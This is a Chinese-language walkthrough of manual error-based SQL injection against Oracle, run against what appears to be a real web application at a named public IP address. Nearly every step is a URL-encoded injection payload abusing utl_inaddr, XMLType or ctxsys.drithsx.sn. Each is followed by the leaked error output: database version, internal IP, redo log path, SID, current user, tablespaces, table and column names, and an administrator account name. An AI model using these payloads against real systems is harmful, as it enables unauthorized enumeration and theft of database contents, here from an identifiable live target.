oracle手注

报错注入：

【1】爆版本号

方法一：

例子：http://210.35.35.70:82/Book.aspx?id=0199332841

爆版本号：http://210.35.35.70:82/Book.aspx?id=0199332841' || utl_inaddr.get_host_name((select banner from v$version where rownum=1)) --

报错信息：ORA-29257: 未知的主机 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production

ORA-06512: 在 "SYS.UTL_INADDR", line 4

ORA-06512: 在 "SYS.UTL_INADDR", line 35
ORA-06512: 在 line 1

方法二：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58))
from sys.v_$version where rownum=1)||chr(62))) from du) --

报错信息：ORA-31011: XML 语法分析失败

ORA-19202: XML 处理

LPX-00110: Warning: 无效的 QName "::Oracle:Database:11g:Enterprise:Edition:Release:11.1.0.7.0:-:Production" (不是名称)

Error at line 1

时出错

ORA-06512: 在 "SYS.XMLTYPE", line 310
ORA-06512: 在 line 1

方法三：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) –

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538
ORA-06512: 在 line 1

【2】爆ip:

只有这种方法有效：
http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(select utl_inaddr.get_host_address from dual)) --

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 210.35.35.10 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

类似的：

（1）可以爆日志的位置：

(select member from v$logfile where rownum=1)

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 F:\APP\ADMINISTRATOR\ORADATA\ORCL\REDO03.LOG 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

（2）可以爆sid:(select instance_name from v$instance)

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 orcl 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

（3）可以爆当前用户信息：(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 NCHD 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

(4）判断是不是dba:(select SYS_CONTEXT ('USERENV', 'ISDBA') from dual)

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 FALSE 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

【3】爆表空间（oracle没有数据库这个概念，代替的是：表空间）：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 1)WHERE CON >=1)) --

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 SYSTEM 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

PS：想要查其他的表空间，只要把数字改一改就好，比如想查第二个表空间则这么写：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 2)WHERE CON >=2)) --

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 SYSAUX 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

（Ps:表空间：创建表空间会在物理磁盘上建立一个数据文件，作为数据库对象（用户、表、存储过程等等）的物理存储空间；

用户：创建用户必须为其指定表空间，如果没有显性指定默认表空间，则指定为users表空间；创建用户后，可以在用户上，创建表、存储过程等等其他数据库对象；

表：是数据记录的集合；

创建过程： 表空间--->用户--->表;

所属关系： 表空间 包含 用户 包含 表；）



select default_tablespace, username from dba_user

这个sql指令会查出表空间对应的用户

【4】查表：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 1)WHERE CON >=1)) –

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 QKDDK_140923 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

（Ps:查第二个表就是这么写：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 2)WHERE CON >=2)) –

【5】查 “ZD_DW” 表字段：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT column_name FROM(SELECT user_tab_columns.column_name, ROWNUM AS CON FROM user_tab_columns WHERE ROWNUM <= 1 and table_name='ZD_DW')WHERE CON >=1)) –

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 F1 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

【6】查数据：http://210.35.35.70:82/Book.aspx?id=0199332841' and 1=ctxsys.drithsx.sn(1,(SELECT ADMINS_NAME FROM(SELECT TT_ADMINS.ADMINS_NAME, ROWNUM AS CON FROM TT_ADMINS WHERE ROWNUM <= 1)WHERE CON >=1)) –

报错信息：ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 TTADMINS 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 538

ORA-06512: 在 line 1

附：

ORACLE中查询第n条到第m条的数据记录的方法:

SELECT * FROM

(

SELECT 表名.*, ROWNUM AS CON FROM 表名 WHERE ROWNUM <= M AND 其它查询条件 ORDER BY 排序条件

)

WHERE CON >=N;